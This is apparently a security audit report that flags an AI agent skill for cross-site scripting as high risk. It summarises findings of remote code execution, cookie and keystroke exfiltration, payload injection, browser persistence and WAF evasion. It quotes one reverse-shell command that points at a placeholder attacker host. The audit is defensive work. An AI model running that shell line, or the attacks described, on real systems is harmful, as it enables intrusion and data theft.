xss-cross-site-scripting

Fail

Audited by Gen Agent Trust Hub on Sep 15, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONPERSISTENCEOBFUSCATION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides functional exploit code for achieving remote code execution (RCE) on a target server, specifically a WordPress reverse shell payload using a bash one-liner (bash -i >& /dev/tcp/ATTACKER/4444 0>&1) documented in SKILL.md.
  • [DATA_EXFILTRATION]: Functional JavaScript code is included to exfiltrate sensitive data, such as session cookies (document.cookie) and real-time keystrokes, to external attacker-controlled infrastructure.
  • [COMMAND_EXECUTION]: Instructions guide the agent to execute system-level commands, such as using exiftool to inject malicious payloads into image metadata and using nc (netcat) to establish network listeners for shell access.
  • [PERSISTENCE]: The skill provides methodology and code for achieving long-term persistence within a victim's browser using malicious Service Worker registration, which allows the attack to survive page refreshes and session termination.
  • [OBFUSCATION]: The content details numerous techniques for evading security controls, including the use of UTF-7 encoding, HTML entity encoding, and double-URL encoding specifically designed to bypass Web Application Firewalls (WAFs) and input filters.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 15, 2026, 02:13 PM
Security Audit — agent-trust-hub — xss-cross-site-scripting